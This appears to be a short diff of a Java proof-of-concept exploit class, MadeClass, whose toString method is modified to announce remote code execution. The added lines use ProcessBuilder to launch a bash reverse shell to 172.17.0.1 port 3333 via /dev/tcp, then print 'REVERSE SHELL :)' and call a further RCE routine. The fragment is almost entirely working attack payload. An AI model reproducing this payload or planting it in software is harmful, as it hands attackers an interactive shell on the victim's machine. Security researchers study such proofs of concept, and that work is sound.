|
|
@ -11,7 +11,15 @@ public class MadeClass { |
|
|
|
// Add instrumentation
|
|
|
|
System.out.println("RCE Acheived in MadeClass::toString!"); |
|
|
|
|
|
|
|
// Do whatever we want
|
|
|
|
ProcessBuilder processBuilder = new ProcessBuilder(); |
|
|
|
processBuilder.command("bash", "-c", "bash -i >& /dev/tcp/172.17.0.1/3333 0>&1"); |
|
|
|
try { |
|
|
|
processBuilder.start(); |
|
|
|
} catch (Exception e) { |
|
|
|
e.printStackTrace(); |
|
|
|
} |
|
|
|
|
|
|
|
System.out.println("REVERSE SHELL :)"); |
|
|
|
RCEMain.rceMain(); |
|
|
|
|
|
|
|
// We could choose not to return. However, the caller is expecting an
|
|
|
|